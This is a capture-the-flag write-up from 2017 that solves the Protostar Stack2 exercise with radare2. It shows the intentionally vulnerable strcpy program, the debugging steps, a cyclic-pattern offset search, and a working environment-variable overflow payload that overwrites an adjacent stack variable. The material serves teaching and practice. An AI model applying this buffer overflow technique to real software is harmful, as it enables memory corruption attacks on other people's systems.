Exploiting Protostar Stack2 using radare2

2017, Dec 18    

Exploiting Protostar Stack2

Problem link

You can check previous problems here :

Problem source code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

We will work in this problem as we do not have the C source code

First we want to know more info about the binary

$ rabin2 -I stack2
arch     x86
binsz    23350
bintype  elf
bits     32
canary   false
class    ELF32
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       false
os       linux
pcalign  0
pic      false
relocs   true
relro    no
rpath    NONE
static   false
stripped false
subsys   linux
va       true

As you can clearly see, our binary is a 32bit ELF file, not stripped, the file isn’t protected with canaries , pic, nx or relro.

Let’s run the app and see it working

$ ./stack2
stack2: please set the GREENIE environment variable

$ GREENIE=AAAAA..AAA ./stack2
Try again, you got 0x00000000

$ GREENIE=AAAAAAAAA..AAAAAAAAAAAAAAAA ./stack2
Try again, you got 0x41414141
[1]    8754 segmentation fault (core dumped)  GREENIE= ./stack2

Let’s have a look on what’s happening inside the app

We will start the app inside Radare2 and have a look in Visual Mode to try understanding how it’s working

$ r2 -d stack2
Process with PID 10188 started...
= attach 10188 10188
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> dcu main
Continue until 0x08048494 using 1 bpsize
hit breakpoint at: 8048494
[0x08048494]> VV
    .--------------------------------.
    |  0x80484c8 ;[gb]               |
    | mov dword [local_58h], 0       |
    |    ; [0x5c:4]=-1               |
    |    ; '\'                       |
    |    ; 92                        |
    | mov eax, dword [local_5ch]     |
    | mov dword [local_4h], eax      |
    |    ; 0x18                      |
    |    ; 24                        |
    | lea eax, dword [local_18h]     |
    | mov dword [esp], eax           |
    | call sym.imp.strcpy;[gf]       |
    |    ; [0x58:4]=-1               |
    |    ; 'X'                       |
    |    ; 88                        |
    | mov eax, dword [local_58h]     |
    | cmp eax, 0xd0a0d0a             |
    | jne 0x80484fd;[gg]             |
    `--------------------------------'

So this is the key line cmp eax, 0xd0a0d0a, so our main Goal is to override $eax with 0xd0a0d0a

Now we’ll use a tool in radare’s framework called ragg2, which allows us to generate a cyclic pattern called De Bruijn Sequence and check the exact offset where our payload overrides the buffer.

$ printf "GREENIE=" > env.txt; ragg2 -P 100 -r >> env.txt; printf "\n" >> env.txt;
$ cat env.txt
GREENIE=AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAh
$ vim r2profile.rr2
$ cat r2profile.rr2
#!/usr/bin/rarun2
envfile=./env.txt
$ r2 -d stack2 -e dbg.profile=r2profile.rr2
Process with PID 31242 started...
= attach 31242 31242
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0xb7fdba30]> aas
[0xb7fdba30]> dcu main
Continue until 0x08048494 using 1 bpsize
hit breakpoint at: 8048494
[0x08048494]> V

In visual mode you can move step by step using S until you reach the line before cmp eax, 0xd0a0d0a

[0x080484d8]> wopO eax
64

Now let’s rewrite our payload and exploit the binary ** Notice that we are working with a little indean so 0xd0a0d0a will be \x0a\x0d\x0a\x0d (Reversed)

$ printf "GREENIE=" > env.txt; python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d" + "B" * 20' >> env.txt; printf "\n" >> env.txt;

Oops, it did not work with a file because \x0a is \n in ascii so it’s not working with env :(

$ GREENIE=`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d" + "B" * 20'`
$ export GREENIE
$ r2 -d stack2
Process with PID 2357 started...
= attach 2357 2357
bin.baddr 0x08048000
Using 0x8048000
asm.bits 32
[0x08048494]> dc
you have correctly modified the variable
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x42424242 code=1 ret=0

And we did it ;)